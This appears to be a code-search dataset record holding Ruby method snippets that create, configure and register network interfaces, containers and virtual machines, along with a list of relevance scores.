"def create\n @interface = SHDM::Interface.create(params[:interface])\n \n respond_to do |format|\n if @interface.save\n flash[:notice] = 'Interface was successfully created.'\n format.html { redirect_to :action => 'edit', :id => @interface }\n format.xml { render :xml => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(vm_id, options = {})\n response = request(:post, \"/virtual_machines/#{vm_id}/network_interfaces.json\", default_params(options))\n response['virtual_machine']\n end",
"def interfaces=(new_interfaces)\n new_interfaces.each {|i| i.possible_types << self }\n @interfaces = new_interfaces\n end",
"def network_interface_id\n data[:network_interface_id]\n end",
"def register\n @container = Common.container\n # layer @container.layer\n layer Layer.system.current\n Common.register( self )\n self\n end",
"def add_neuron(neuron)\r\n\t\t@neurons.push(neuron)\r\n\tend",
"def attach_to_internal_network(name=\"intnet\")\n # couldn't find a way to get VirtualBox to list internal networks over FFI\n self.attachment_type = :internal_network\n self.internal_network = name\n self.enabled = true\n end",
"def add_network(prefix, masklen, route_map = nil)\n cmd = \"network #{prefix}/#{masklen}\"\n cmd << \" route-map #{route_map}\" if route_map\n configure_bgp(cmd)\n end",
"def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to root_url, notice: '保存成功.' }\n format.json { render json: @interface, status: :created, location: @interface }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interface.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_rest_interface(interface)\n @lines ||= []\n @lines.push \"! colspan='5' style='background:#ABE' | #{interface}\"\n @lines.push \"|-\"\n end",
"def create_host_only_network(options)\n # Create the interface\n execute(\"hostonlyif\", \"create\") =~ /^Interface '(.+?)' was successfully created$/\n name = $1.to_s\n\n # Configure it\n execute(\"hostonlyif\", \"ipconfig\", name,\n \"--ip\", options[:ip],\n \"--netmask\", options[:netmask])\n\n # Return the details\n return {\n :name => name,\n :ip => options[:ip],\n :netmask => options[:netmask]\n }\n end",
"def connect\n @interface.connect\n end",
"def register(...)\n container.register(...)\n end",
"def on_container_start(container)\n # Connecting to broker and creating receiver\n @receiver = container.connect(\n # Set broker URI\n @broker,\n # Enabled SASL authentication\n sasl_enabled: true,\n # Enabled insecure SASL mechanisms\n sasl_allow_insecure_mechs: true,\n # Set allowed SASL mechanisms\n sasl_allowed_mechs: @sasl_mechs\n ).open_receiver(@broker.amqp_address)\n # If browse messages instead of reading\n if browse\n # Set browsing mode\n @receiver.source.distribution_mode = \\\n Qpid::Proton::Terminus::DIST_MODE_COPY\n end\n end",
"def interface(tag, if_names, address = nil, &block)\n interfaces = [*@interfaces[tag], *if_names].compact.uniq\n raise \"single address, #{address}, given for multiple interfaces, #{interfaces}, on host #{name}\" if interfaces.length > 1 && address\n\n @interfaces[tag] = interfaces\n\n # determine the address for each interface\n interfaces.each do |if_name|\n new_address = \\\n if !address\n if block_given? \n yield(self, if_name)\n else\n if interfaces.length > 1\n \"#{name}_#{tag}_#{if_name}\"\n else\n \"#{name}_#{tag}\"\n end\n end\n else\n address\n end\n @addresses[if_name] = new_address\n end\n\n end",
"def add_internal_network_to_vapp(vAppId, network, config)\n network_section = generate_network_section(vAppId, network, config, :internal)\n add_network_to_vapp(vAppId, network_section)\n end",
"def add_veth veth\n cmd = \"#{@vzctl} set #{@ctid} --netif_add #{veth[:ifname]},#{veth[:mac]},#{veth[:host_ifname]},\" \\\n \"#{veth[:host_mac]}, #{veth[:bridge]}\"\n execute(cmd)\n end",
"def setup_network\n hidden_layers << output_layer\n end",
"def network_interfaces\n sans = san_network_ports\n n = clusters.map{|x| x.vlan}.sort\n if has_mgmt? then\n n << 4000\n end\n app = n.map{|x| \"vlan#{x}\"}\n app.concat(sans)\n end",
"def new_interface(message)\n if @gui\n Commitsu::Interface::Gui.new(message)\n else\n Commitsu::Interface::Text.new(message)\n end\n end",
"def action_create\n opts = generate_command_opts\n if opts.any?\n if current_resource.exists?\n converge_by(\"edit l2interface #{new_resource.name} will be modified\") do\n command = \"netdev l2interface edit #{new_resource.l2_interface_name} \"\n command << opts.join(' ')\n execute_command(command)\n end\n else\n converge_by(\"L2interface #{new_resource.name} will be created\") do\n command = \"netdev l2interface create #{new_resource.l2_interface_name} \"\n command << opts.join(' ')\n execute_command(command)\n end\n end\n end\n end",
"def nic_count\n vm.network_profile.network_interfaces.length\n end",
"def create\n begin\n #get the server chosen container_params[:server_id]\n @currentServer = Server.where(id: container_params[:server_id])\n Docker.url = 'tcp://' + @currentServer[0].ip + \":\" + @currentServer[0].port\n\n #create the container in docker\n if container_params[:exposed_port].blank?\n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image]\n ) \n else \n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image],\n 'ExposedPorts' => { container_params[:exposed_port]+'/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n container_params[:exposed_port]+'/tcp' => [{ 'HostPort' => container_params[:host_port] }]\n }\n }\n )\n end\n\n #adds the container into the database\n @container = Container.new(:name => container_params[:name], :image => container_params[:image], :command => container_params[:command], :exposed_port => container_params[:exposed_port], \n :host_port => container_params[:host_port], :dockercontainer_id => @con.id, :status => 'Created')\n\n Docker.url = ''\n\n respond_to do |format|\n if @container.save\n Serverhascontainer.new(:server_id => @currentServer[0].id, :container_id => @container.id).save\n format.html { redirect_to root_path, notice: 'Container was successfully created.' }\n format.json { render :show, status: :created, location: @container }\n else\n format.html { render :new }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Docker::Error::ClientError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::NotFoundError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n end\n end",
"def interface?(ifname)\n\n\t\tip('link', 'list', ifname)\n\t\trescue Puppet::ExecutionFailure\n\t\t\twarnonce(\"Network interface \" + ifname + \" does not exist\")\n\n\tend",
"def add(private_ip=nil, interface='eth0')\n\n\t\t\t# use AWS api to add a private ip address to the given interface.\n\t\t\t# if unspecified, let AWS auto-assign the ip.\n\n\t\t\t# add the new ip to the local config with `ip addr add ...` and use\n\t\t\t# `ip rule ...` or `ip route ...` if necessary\n\n\t\t\t# throw named exception if the private ip limit is reached, if the ip\n\t\t\t# specified is already in use, or for any similar error\n\n\t\t\t# return the new ip\n\t\tend",
"def create(name)\n configure [\"interface #{name}\", 'no ip address', 'switchport']\n end",
"def create\n @ipranedge_interface = IpranedgeInterface.new(ipranedge_interface_params)\n\n respond_to do |format|\n if @ipranedge_interface.save\n format.html { redirect_to @ipranedge_interface, notice: 'Ipranedge interface was successfully created.' }\n format.json { render :show, status: :created, location: @ipranedge_interface }\n else\n format.html { render :new }\n format.json { render json: @ipranedge_interface.errors, status: :unprocessable_entity }\n end\n end\n end",
"def interfaces\n iflist = `ifconfig | egrep \"^[a-z0-9]+:\" | awk '{print $1}' | sed 's/://'`.split\n interfaces = Hash.new\n interfaces['carp'] = []; interfaces['logical'] = []; interfaces['pfsync'] = []; interfaces['tunnel'] = []\n interfaces['vlan'] = []; interfaces['trunk'] = []; interfaces['physical'] = []\n\n iflist.each do |interface|\n ifconfig = `ifconfig #{interface}`\n iface = Hash.new\n iface['ip'] = Array.new\n iface['name'] = interface\n\n ifconfig.each do |line|\n case\n when line =~ /flags=\\d+\\<(.*)\\>\\s+mtu\\s+([0-9]+)/\n iface['mtu'] = $2\n iface['flags'] = $1.split(\",\")\n iface[\"up?\"] = iface['flags'].to_a.include?(\"UP\") ? \"up\" : \"down\"\n when line =~ /^\\s*media:\\s+(.*)/\n iface['media'] = $1\n when line =~ /lladdr\\s+(.*)/\n iface['lladdr'] = $1\n when line =~ /description: (.*)/\n iface['description'] = $1\n when line =~ /^\\s+inet ([0-9\\.]+) netmask ([0-9\\.a-fx]+) broadcast ([0-9\\.])/\n ip_address = $1\n broadcast = $3\n $2 =~ /(0x..)(..)(..)(..)/\n netmask = $1.hex.to_s + \".\" + $2.hex.to_s + \".\" + $3.hex.to_s + \".\" + $4.hex.to_s\n \n # Add a nice (dhcp) tag if the address has been given using dhcp\n ip_address += \" (dhcp)\" if `ps -ax | egrep \"dhclient: #{iface['name']} \" | grep -v grep | wc -l`.to_i > 0\n iface['ip'] << { \"address\" => ip_address, \"netmask\" => netmask, \"broadcast\" => broadcast }\n end\n end\n\n case iface['name']\n when /^carp/ then interfaces['carp'] << iface\n when /^(tun|gif)/ then interfaces['tunnel'] << iface\n when /^(enc|pflog|lo)[0-9]+/ then interfaces['logical'] << iface\n when /^pfsync/ then interfaces['pfsync'] << iface\n when /^vlan/ then interfaces['vlan'] << iface\n when /^trunk/ then interfaces['trunk'] << iface\n else interfaces['physical'] << iface\n end\n end\n interfaces\n end",
"def read_network_interfaces\n nics = {}\n execute(\"showvminfo\", @uuid, \"--machinereadable\").split(\"\\n\").each do |line|\n if line =~ /^nic(\\d+)=\"(.+?)\"$/\n adapter = $1.to_i\n type = $2.to_sym\n\n nics[adapter] ||= {}\n nics[adapter][:type] = type\n elsif line =~ /^hostonlyadapter(\\d+)=\"(.+?)\"$/\n adapter = $1.to_i\n network = $2.to_s\n\n nics[adapter] ||= {}\n nics[adapter][:hostonly] = network\n elsif line =~ /^bridgeadapter(\\d+)=\"(.+?)\"$/\n adapter = $1.to_i\n network = $2.to_s\n\n nics[adapter] ||= {}\n nics[adapter][:bridge] = network\n end\n end\n\n nics\n end",
"def read_shared_interface\n net_info = json do\n execute_prlsrvctl('net', 'info', read_shared_network_id, '--json')\n end\n\n iface = {\n nat: [],\n status: 'Down'\n }\n adapter = net_info['Parallels adapter']\n\n if adapter\n iface[:ip] = adapter['IPv4 address']\n iface[:netmask] = adapter['IPv4 subnet mask']\n iface[:status] = 'Up'\n end\n\n if net_info.key?('DHCPv4 server')\n iface[:dhcp] = {\n ip: net_info['DHCPv4 server']['Server address'],\n lower: net_info['DHCPv4 server']['IP scope start address'],\n upper: net_info['DHCPv4 server']['IP scope end address']\n }\n end\n\n net_info['NAT server'].each do |group, rules|\n rules.each do |name, params|\n iface[:nat] << {\n name: name,\n protocol: group == 'TCP rules' ? 'tcp' : 'udp',\n guest: params['destination IP/VM id'],\n hostport: params['source port'],\n guestport: params['destination port']\n }\n end\n end\n\n iface\n end",
"def restart_interface(interface)\n # Force deletion, so directories actually get deleted.\n Puppet.info( \"Restarting interface %s\" % interface)\n system(\"ifdown %s\" % interface)\n sleep 15\n system(\"ifup %s\" % interface) || raise(\"Restarting interface failed!\")\n\n ip = get_facter_value(\"ipaddress_%s\" % interface)\n Puppet.info( \"IP address of %s is %s\" % [interface, ip])\n if ip.nil? || ip.empty?\n raise \"Restarted interface, %s, but it did not get a valid IP address.\" % interface\n end\n end",
"def register(interface, mod, status, &block)\n\t\tmod_sym = mod.class == String ? mod.to_sym : mod\t# remember the symbol used by the interface to reference this module\n\t\tstatus = status.to_sym if status.class == String\n\t\t\n\t\tif @system.modules[mod_sym].present?\n\t\t\tmod = @system.modules[mod_sym].instance\t# most efficient\n\t\n\t\t\ttheVal = nil\n\t\t\t@status_lock.synchronize {\n\t\t\t\t@status_register[mod] ||= {}\n\t\t\t\t@status_register[mod][status] ||= {}\n\t\t\t\t@status_register[mod][status][interface] = mod_sym\n\t\t\t\t@connected_interfaces[interface] << @status_register[mod][status] unless @connected_interfaces[interface].nil?\n\t\t\t\ttheVal = mod[status]\n\t\t\t}\n\t\t\t\n\t\t\tmod.add_observer(self)\n\t\t\tlogger.debug \"-- Interface #{interface.class} registered #{mod_sym}:#{status}\"\n\t\t\t\n\t\t\t#\n\t\t\t# Send the status to this requestor!\n\t\t\t#\tThis is the same as in update\n\t\t\t#\n\t\t\tif !theVal.nil?\n\t\t\t\tbegin\n\t\t\t\t\tfunction = \"#{mod_sym.to_s.downcase}_#{status}_changed\".to_sym\n\t\t\t\t\t\n\t\t\t\t\tif interface.respond_to?(function)\n\t\t\t\t\t\tinterface.__send__(function, theVal)\n\t\t\t\t\telse\n\t\t\t\t\t\tinterface.notify(mod_sym, status, theVal)\n\t\t\t\t\tend\n\t\t\t\trescue => e\n\t\t\t\t\tControl.print_error(logger, e, {\n\t\t\t\t\t\t:message => \"in communicator.rb, register : bad interface or user module code\",\n\t\t\t\t\t\t:level => Logger::ERROR\n\t\t\t\t\t})\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tlogger.warn \"in communicator.rb, register : #{interface.class} called register on a bad module name\"\n\t\t\tblock.call() unless block.nil?\t# Block will inform of any errors\n\t\tend\n\trescue => e\n\t\tbegin\n\t\t\tControl.print_error(logger, e, {\n\t\t\t\t:message => \"in communicator.rb, register : #{interface.class} failed to register #{mod.inspect}.#{status.inspect}\",\n\t\t\t\t:level => Logger::ERROR\n\t\t\t})\n\t\t\tblock.call() unless block.nil?\t# Block will inform of any errors\n\t\trescue => x\n\t\t\tControl.print_error(logger, x, {\n\t\t\t\t:message => \"in communicator.rb, register : #{interface.class} provided a bad block\",\n\t\t\t\t:level => Logger::WARN\n\t\t\t})\n\t\tend\n\tensure\n\t\tActiveRecord::Base.clear_active_connections!\n\tend",
"def handle_start(event)\n @bus.request 'containers', 'started', event: event.json, container: container_info(event.id)\n end",
"def post_init\n $connection_list << self\n @my_connection_index = $connection_list.length\n puts \"Connection Initialized #{@my_connection_index}) #{@my_address} - #{@signature}\"\n #\n # TODO: get access to the HostIP and HostPort associated with this connection\n # if it is the local control connection, do the following\n # * do not repeat other connection traffic to this connection\n # * consider any input a command to be processed\n end",
"def create\n @cachenetflix_interface = CachenetflixInterface.new(cachenetflix_interface_params)\n\n respond_to do |format|\n if @cachenetflix_interface.save\n format.html { redirect_to @cachenetflix_interface, notice: 'Cachenetflix interface was successfully created.' }\n format.json { render :show, status: :created, location: @cachenetflix_interface }\n else\n format.html { render :new }\n format.json { render json: @cachenetflix_interface.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_as_interface_config(access_config = nil)\n network_interface = { :network => self_link }\n network_interface[:access_configs] = [access_config] if access_config\n network_interface\n end",
"def new\n @interface = Interface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interface }\n end\n end",
"def id_network_interfaces\n @id_network_interfaces ||= Hash[network_interfaces.map { |net| [net.network_interface_id, net] }]\n end",
"def on_connected\n end",
"def setup_extra_nics(action_handler, bootstrap_options, vm, machine, machine_spec)\n networks = bootstrap_options[:network_name]\n networks = [networks] if networks.is_a?(String)\n return if networks.nil? || networks.count < 2\n\n new_nics = vsphere_helper.add_extra_nic(\n action_handler,\n vm_template_for(bootstrap_options),\n bootstrap_options,\n vm\n )\n if is_windows?(vm) && !new_nics.nil? && @vm_helper.open_port?(machine_spec.location['ipaddress'], @vm_helper.port)\n new_nics.each do |nic|\n nic_label = nic.device.deviceInfo.label\n machine.execute_always(\n \"Disable-Netadapter -Name '#{nic_label}' -Confirm:$false\"\n )\n end\n end\n end",
"def extended_interfaces; end",
"def handle_network_attachments(_zone_name, networks, appgroup_name,\n appgroup_entry, target_dir)\n # query container ids of containers running here\n # get path\n controller_entry = appgroup_entry[:controller]\n\n container_ids = []\n\n if controller_entry[:type] == 'fig'\n fig_path = File.join(File.expand_path(target_dir), controller_entry[:file])\n\n resource_fig = Wire::Resource::ResourceFactory\n .instance.create(:figadapter, \"#{appgroup_name}\", fig_path)\n\n container_ids = resource_fig.up_ids || []\n $log.debug \"Got #{container_ids.size} container id(s) from adapter\"\n end\n\n #\n resource_nw = Wire::Resource::ResourceFactory\n .instance.create(:networkinjection, appgroup_name, networks, container_ids)\n\n default_handle_resource(resource_nw, :network_injection,\n \"Network(s) \\'#{networks.keys.join(',')}\\' in \"\\\n \"appgroup \\'#{appgroup_name}\\'\", :down)\n rescue => e\n $log.error \"processing network attachments: #{e}\"\n end",
"def network_adapter(slot, type, *args)\n @network_adapters[slot] = [type, args]\n end",
"def process_public_network(root_options, net_options, env)\n if root_options[:name] && validate_network_name!(root_options[:name], env)\n network_name = root_options[:name]\n end\n if !network_name\n valid_interfaces = list_interfaces\n if valid_interfaces.empty?\n raise Errors::NetworkNoInterfaces\n elsif valid_interfaces.size == 1\n bridge_interface = valid_interfaces.first\n elsif i = valid_interfaces.detect{|i| Array(root_options[:bridge]).include?(i.name) }\n bridge_interface = i\n end\n if !bridge_interface\n env[:ui].info(I18n.t(\"vagrant.actions.vm.bridged_networking.available\"),\n prefix: false)\n valid_interfaces.each_with_index do |int, i|\n env[:ui].info(\"#{i + 1}) #{int.name}\", prefix: false)\n end\n env[:ui].info(I18n.t(\n \"vagrant.actions.vm.bridged_networking.choice_help\") + \"\\n\",\n prefix: false\n )\n end\n while !bridge_interface\n choice = env[:ui].ask(\n I18n.t(\"vagrant.actions.vm.bridged_networking.select_interface\") + \" \",\n prefix: false)\n bridge_interface = valid_interfaces[choice.to_i - 1]\n end\n base_opts = Vagrant::Util::HashWithIndifferentAccess.new\n base_opts[:opt] = \"parent=#{bridge_interface.name}\"\n subnet = IPAddr.new(bridge_interface.addr.ip_address <<\n \"/\" << bridge_interface.netmask.ip_unpack.first)\n base_opts[:subnet] = \"#{subnet}/#{subnet.prefix}\"\n subnet_addr = IPAddr.new(base_opts[:subnet])\n base_opts[:driver] = \"macvlan\"\n base_opts[:gateway] = subnet_addr.succ.to_s\n base_opts[:ipv6] = subnet_addr.ipv6?\n network_options = base_opts.merge(net_options)\n\n # Check if network already exists for this subnet\n network_name = env[:machine].provider.driver.\n network_containing_address(network_options[:gateway])\n if !network_name\n network_name = \"vagrant_network_public_#{bridge_interface.name}\"\n end\n\n # If the network doesn't already exist, gather available address range\n # within subnet which docker can provide addressing\n if !env[:machine].provider.driver.existing_named_network?(network_name)\n if !net_options[:gateway]\n network_options[:gateway] = request_public_gateway(\n network_options, bridge_interface.name, env)\n end\n network_options[:ip_range] = request_public_iprange(\n network_options, bridge_interface.name, env)\n end\n end\n [network_name, network_options]\n end",
"def add_tunnel( tunnel )\n\t\t\t@tunnels << tunnel\n\t\tend",
"def post_network(request)\n # --- Create the new Instance ---\n network = VirtualNetworkOCCI.new(\n VirtualNetwork.build_xml,\n @client,\n request.body,\n @config[:template_location])\n\n # --- Generate the template and Allocate the new Instance ---\n template = network.to_one_template\n return template, 500 if OpenNebula.is_error?(template)\n\n rc = network.allocate(template, @config[:cluster_id]||ClusterPool::NONE_CLUSTER_ID)\n if OpenNebula.is_error?(rc)\n return rc, CloudServer::HTTP_ERROR_CODE[rc.errno]\n end\n\n # --- Prepare XML Response ---\n network.info\n return to_occi_xml(network, :code=>201)\n end",
"def on_container_start(container)\n # Connecting to broker and creating sender\n container.connect(\n # Set broker URI\n @broker,\n # Enable SASL authentication\n sasl_enabled: @sasl_enabled,\n # Enable insecure SASL mechanisms\n sasl_allow_insecure_mechs: true,\n # Set allowed SASL mechanisms\n sasl_allowed_mechs: @sasl_mechs,\n # Set idle timeout\n idle_timeout: @idle_timeout,\n # Set max frame size\n max_frame_size: @max_frame_size,\n ).open_sender({\n # Set target address\n :target => anonymous ? nil : @broker.amqp_address,\n # Set auto settle\n :auto_settle => @auto_settle_off ? false : true,\n })\n end"
] |
[
"0.6496687",
"0.62408465",
"0.6235805",
"0.61087906",
"0.6048017",
"0.59024006",
"0.5892403",
"0.58323103",
"0.57755405",
"0.57314783",
"0.57312155",
"0.56061983",
"0.55266076",
"0.5512832",
"0.55091804",
"0.54999554",
"0.54960656",
"0.54461163",
"0.5363856",
"0.53628165",
"0.5335708",
"0.53172606",
"0.5287295",
"0.5262281",
"0.5256193",
"0.5212822",
"0.52057946",
"0.51940364",
"0.51931465",
"0.5186229",
"0.5164121",
"0.5156669",
"0.5136269",
"0.51301724",
"0.512344",
"0.5109849",
"0.5092972",
"0.507665",
"0.5069413",
"0.5061754",
"0.5058788",
"0.50291765",
"0.5021624",
"0.5008781",
"0.4995355",
"0.49915192",
"0.49817008",
"0.4978721",
"0.49774817",
"0.49684846",
"0.49656057",
"0.4960599",
"0.49605796",
"0.49166104",
"0.49031454",
"0.4886228",
"0.48821864",
"0.4842933",
"0.48272273",
"0.482131",
"0.48153478",
"0.48119932",
"0.48036623",
"0.47944707",
"0.47851792",
"0.47841904",
"0.47809833",
"0.47732523",
"0.4769667",
"0.4764251",
"0.4759344",
"0.4759048",
"0.47570646",
"0.47470832",
"0.47426596",
"0.47371045",
"0.47319114",
"0.47284362",
"0.4727993",
"0.47238725",
"0.47101322",
"0.4701488",
"0.46967947",
"0.46849248",
"0.46657676",
"0.46601093",
"0.46543854",
"0.46541864",
"0.46530446",
"0.46515274",
"0.46472293",
"0.4644834",
"0.46422535",
"0.46371138",
"0.46343803",
"0.46319994",
"0.46300685",
"0.46278432"
] |
0.51835376
|
32
|
Called when a network interface is removed from a container
|
def remove_netif(opts)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def drop(interface)\n @pool.drop\n end",
"def disconnected(interface)\n\t\t@status_lock.synchronize {\n\t\t\tstatus_array = @connected_interfaces.delete(interface)\n\t\t\tstatus_array.each do |status_hash|\n\t\t\t\tstatus_hash.delete(interface)\n\t\t\tend\n\t\t\t#\n\t\t\t# TODO::Refactor required\n\t\t\t#\tThis still isn't perfect as we could be observing modules we are not using...\n\t\t\t#\n\t\t}\n\t\tlogger.debug \"-- Interface #{interface.class} disconnected\" unless logger.nil?\n\tend",
"def delete\n client_opts = {}\n client_opts[:network_interface_id] = network_interface_id\n client.delete_network_interface(client_opts)\n nil\n end",
"def destroy\n @interface = Interface.find(params[:id])\n @virtualmachine = Virtualmachine.find(@interface.virtualmachine_id)\n position_networkcard = `cat /etc/libvirt/qemu/#{@virtualmachine.hostname}.xml | grep -n \"slot='0x#{@interface.pci_slot}\" | cut -d ':' -f1`\n begin_networkcard = position_networkcard.to_i - 4\n end_networkcard = position_networkcard.to_i + 1\n delete_networkcard = `sed -i '#{begin_networkcard},#{end_networkcard}d' /etc/libvirt/qemu/#{@virtualmachine.hostname}.xml`\n\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to interfaces_url }\n format.json { head :no_content }\n end\n end",
"def remove_netif(netifs, netif)\n end",
"def on_remove\n @context.notifications.off(\"graph.start\", self)\n @context.notifications.off(\"graph.stop\", self)\n\n io.outputs.each { |k, o| @context.connections.delete(o.guid) }\n io.unregister_inputs\n var.unregister\n stop\n end",
"def destroy!\n release_eip! if eip?\n print \"Deleting ENI (#{interface.id})...\"\n interface.delete\n # There is ~a second or so where the API can still find the ENI even\n # though it's \"deleted\".\n sleep(3)\n @interface = nil\n puts 'OK'\n end",
"def disconnect\n @interface.disconnect\n end",
"def remove\n @container.stop\n @container.delete\n end",
"def destroy\n @interface = Interface.find(params[:id])\n @interface.destroy\n\t\tredirect_to edit_host_path(@interface.host)\n end",
"def delete_nic(*nics)\n # Trying to remove a NIC without removing the network connection\n # first will cause an error. Removing the network connection of a NIC\n # in the NetworkConnectionSection will automatically delete the NIC.\n net_conn_section = network_connection_section\n vhw_section = hardware_section\n nics.each do |nic|\n nic_index = nic.nic_index\n net_conn_section.remove_network_connection(nic_index)\n vhw_section.remove_nic(nic_index)\n end\n end",
"def destroy\n @interface = Interface.find(params[:id])\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to interfaces_url }\n format.json { head :no_content }\n end\n end",
"def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n end",
"def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n end",
"def destroy\n @ipranedge_interface.destroy\n respond_to do |format|\n format.html { redirect_to ipranedge_interfaces_url, notice: 'Ipranedge interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove(private_ip, interface=nil, release=true)\n\n\t\t\t# if interface not provided, infer it from the private ip. if it is\n\t\t\t# provided check that it corresponds to our private ip or raise an\n\t\t\t# exception. this is merely a safeguard\n\n\t\t\t# if the private ip has an associated EIP, call dissoc and pass in the\n\t\t\t# provided release parameter\n\n\t\t\t# remove the private ip from the local machine's config and routing tables\n\t\t\t# before using the AWS api to remove the private ip from our ENI.\n\n\t\t\t# return true\n\t\tend",
"def action_delete\n if current_resource.exists?\n converge_by(\"remove l2interface #{current_resource.name}\") do\n command = \"netdev l2interface delete #{new_resource.l2_interface_name}\"\n execute_command(command)\n end\n end\n end",
"def destroy\n @ipranaccess_interface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_interfaces_url, notice: 'Ipranaccess interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def CleanUp\n\tallGroups.exec(\"killall ITGRecv >/dev/null 2>&1;\")\n\tallGroups.exec(\"killall ITGManager >/dev/null 2>&1; killall ITGSend >/dev/null 2>&1;\") \n\t#set the interfaces down\n @nodes.each do |node|\n\t\tif node.GetType()==\"R\"\n\t\t node.GetInterfaces().each do |ifn|\n\t\t # self.GetGroupInterface(node, ifn).down\n\t\t end\n\t\tend\n\t\t\n\t\tnode.GetInterfaces().each do |ifn| \n\t\t ifn.GetAddresses().each do |add|\n\t\t #info(\"Deleting address #{add.ip} from interface #{add.interface} on node #{node.id}\")\n\t\t Node(node.id).exec(\"ip addr del #{add.ip}/#{add.netmask} dev #{ifn.GetName()}\")\n\t\t end\n\t\tend\n\tend\n end",
"def remove(net_or_name)\n command = ['VBoxManage', 'dhcpserver', 'remove']\n if net_or_name.kind_of? VirtualBox::Net\n command.push '--ifname', net_or_name.name\n else\n command.push '--netname', net_or_name\n end\n\n VirtualBox.run_command command\n self\n end",
"def destroy\n @concrete_interface = SHDM::ConcreteInterface.find(params[:id])\n @concrete_interface.destroy\n\n respond_to do |format|\n format.html { redirect_to(concrete_interfaces_url) }\n format.xml { head :ok }\n end\n end",
"def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n setup_for_nm(netifs)\n end",
"def destroy\n @cachenetflix_interface.destroy\n respond_to do |format|\n format.html { redirect_to cachenetflix_interfaces_url, notice: 'Cachenetflix interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n #finds the current server that the container is on and sets it as Docker.ulr\n #@serverid = Serverhascontainer.where(container_id: @container.id)[0].server_id;\n #@currentServer = Server.where(id: @serverid)\n #Docker.url = 'tcp://' + @currentServer[0][\"ip\"] + \":\" + @currentServer[0][\"port\"]\n Docker.url = findServer()\n\n #removes the container from docker\n Docker::Container.get(Container.find(params[:id]).dockercontainer_id).remove;\n\n #removes the Server-container relation from the database\n @d = Serverhascontainer.where(container_id: @container.id) \n Serverhascontainer.destroy(@d[0].id);\n\n #removes the container from the database\n @container.destroy\n Docker.url = ''\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'deleted.' }\n format.json { head :no_content }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: You cannot remove a running container. Stop the container before attempting removal\" }\n end\n end\n end",
"def detach_nic(mac)\n\n eth = @vm.config.hardware.device.find { |d|\n (d.class.ancestors[1] == RbVmomi::VIM::VirtualEthernetCard) &&\n (d.macAddress == mac)\n }\n\n return -1 if eth.nil?\n\n spec = {\n :deviceChange => [\n :operation => :remove,\n :device => eth\n ]\n }\n\n @vm.ReconfigVM_Task(:spec => spec).wait_for_completion\n end",
"def remove_netif(opts)\n do_remove_netif(opts[:netif].name)\n end",
"def cmd_clear_interface argv\n setup argv\n interface = @hash['interfaces']\n response = @api.clear_interface(interface)\n msg response\n return response\n end",
"def delete_fusion_vm_network(options,install_interface)\n exists = check_fusion_vm_exists(options)\n if exists == true\n vm_list = get_running_fusion_vms(options)\n if !vm_list.to_s.match(/#{options['name']}/)\n fusion_vmx_file = get_fusion_vm_vmx_file(options)\n if install_interface == options['empty']\n message = \"Information:\\tGetting network interface list for \"+options['name']\n command = \"'#{options['vmrun']}' listNetworkAdapters '#{fusion_vmx_file}' |grep ^Total |cut -f2 -d:\"\n output = execute_command(options,message,command)\n last_id = output.chomp.gsub(/\\s+/,\"\")\n last_id = last_id.to_i\n if last_id == 0\n handle_output(options,\"Warning:\\tNo network interfaces found\")\n return\n else\n last_id = last_id-1\n install_interface = last_id.to_s\n end\n end\n message = \"Information:\\tDeleting network interface from \"+options['name']\n command = \"'#{options['vmrun']}' deleteNetworkAdapter '#{fusion_vmx_file}' #{install_interface}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} is Running\")\n end\n else\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} doesn't exist\")\n end\n return\nend",
"def delete_router_interface(router, id, type)\n data = case type\n when 'port' then { 'port_id' => id }\n when 'subnet' then { 'subnet_id' => id } \n else raise \"Invalid Interface Type\" \n end\n return put_request(address(\"routers/\" + router + \"/remove_router_interface\"), data, @token)\n end",
"def unmanaged_interfaces\n if_list = cr_ohai_network.map { |x| x[0] }\n\n conduit_to_if_map.each do |conduit_name, conduit_def|\n next unless conduit_def.key?(\"if_list\")\n\n conduit_def[\"if_list\"].each do |interface|\n if_list.delete(interface)\n end\n end\n\n if_list\n end",
"def handle_destroy(event)\n @bus.request 'containers', 'destroyed', event: event.json, container: container_info(event.id)\n end",
"def remove_listener(event, cbk)\n get_event(event).remove_callable(cbk)\n end",
"def destroy\n @interface = SWUI::Interface.find(params[:id])\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to(interfaces_url) }\n format.xml { head :ok }\n end\n end",
"def shutdown\n @container = nil\n end",
